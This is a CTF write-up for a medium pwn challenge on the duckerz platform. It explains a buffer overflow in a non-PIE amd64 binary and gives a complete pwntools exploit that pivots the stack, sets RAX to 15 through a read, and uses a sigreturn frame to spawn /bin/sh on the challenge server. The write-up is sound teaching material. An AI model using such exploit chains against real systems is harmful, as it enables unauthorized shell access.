Древний замок мага (Ancient Magician Castle)
Древний замок мага (Ancient Magician Castle)
Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: rax_control_via_read, srop, stack_pivot
Summary
Task: Binary with buffer overflow, NX enabled, no useful ROP gadgets. Solution: SROP (Sigreturn Oriented Programming) with stack pivot to control all registers and execute execve("/bin/sh").
Древний замок мага — Duckerz CTF
Description
Вы — искатель приключений, который наткнулся на заброшенный замок древнего мага. В его башне хранится легендарный артефакт — Кристалл Вечности. Но замок защищён магическими барьерами и ловушками. Ваша задача — преодолеть их и забрать кристалл.
Server: nc tasks.duckerz.ru 30031
Analysis
Binary Protections
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Key Functions
create_buffer()- creates a buffer viaposix_memalignand prints its address (leak)fill_buffer()- reads data into the buffer via syscall readbuffer_overflow()- contains vulnerability:read(0, rbp-8, 0x400)- reads 1024 bytes into an 8-byte buffer
Vulnerability
Classic buffer overflow in buffer_overflow():
- Buffer: 8 bytes
- Read: 0x400 (1024) bytes
- Can overwrite saved RBP and return address
Problem
- NX enabled - cannot execute shellcode on stack or heap
- No useful ROP gadgets - missing
pop rdi,pop rsi,pop rdx - No
system()orwin()function
Solution: SROP (Sigreturn Oriented Programming)
SROP allows setting ALL registers via sigreturn syscall (number 15).
Attack Plan
-
Get buffer address - program prints it at startup
-
Write payload to buf:
- Fake RBP for stack pivot
- Address of
buffer_overflowpart (0x401274) to call read - Syscall address (0x401244)
- SigreturnFrame for
execve("/bin/sh", 0, 0) - String "/bin/sh"
-
Stack Pivot:
- Overflow:
[8 bytes padding][buf address][leave;ret gadget] leave; retswitches stack to buf
- Overflow:
-
RAX Control:
read()is called frombuffer_overflow- Send exactly 15 bytes
- RAX = 15 (sigreturn syscall number)
-
Sigreturn:
- syscall with RAX=15 executes sigreturn
- SigreturnFrame sets: RAX=59, RDI=&"/bin/sh", RSI=0, RDX=0, RIP=syscall
- Executes
execve("/bin/sh", 0, 0)
Important Addresses
LEAVE_RET = 0x40128b
SYSCALL = 0x401244
BUFFER_OVERFLOW_READ = 0x401274
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST = 'tasks.duckerz.ru' PORT = 30031 LEAVE_RET = 0x40128b SYSCALL = 0x401244 BUFFER_OVERFLOW_READ = 0x401274 io = remote(HOST, PORT) # Get buffer address (leak) io.recvuntil(b' -> ') buf_addr = int(io.recvline().strip(), 16) log.info(f"Buffer address: {hex(buf_addr)}") # Build sigreturn frame frame = SigreturnFrame() frame.rax = 59 # execve syscall number frame.rdi = buf_addr + 0x200 # pointer to "/bin/sh" frame.rsi = 0 frame.rdx = 0 frame.rip = SYSCALL frame.rsp = buf_addr + 0x300 # new stack pointer # Payload in buf io.recvuntil(b'-> ') payload = p64(buf_addr + 0x18) # fake rbp for stack pivot payload += p64(BUFFER_OVERFLOW_READ) # call read to control RAX payload += p64(0xdeadbeef) # placeholder payload += p64(0xcafebabe) # fake rbp 2 payload += p64(SYSCALL) # sigreturn syscall payload += bytes(frame) payload = payload.ljust(0x200, b'\x00') payload += b'/bin/sh\x00' io.send(payload) # Overflow with stack pivot io.recvuntil(b'-> ') overflow = b'A' * 8 + p64(buf_addr) + p64(LEAVE_RET) io.send(overflow) # Send exactly 15 bytes to set RAX = 15 (sigreturn) sleep(0.5) io.send(b'A' * 15) # Shell! log.success("Got shell!") io.interactive()
How SROP Works
- Sigreturn - system call for restoring context after signal handling
- When sigreturn is called, the kernel reads SigreturnFrame from the stack
- Frame contains values of ALL registers
- Kernel restores registers from frame and continues execution
SigreturnFrame Structure (simplified)
+0x00: uc_flags
+0x08: uc_link
+0x10: ss_sp (stack)
+0x28: r8-r15
+0x48: rdi, rsi, rbp, rbx
+0x68: rdx, rax, rcx, rsp
+0x88: rip, eflags
+0x98: cs, gs, fs, ss
References
- SROP - Sigreturn Oriented Programming
- pwntools SigreturnFrame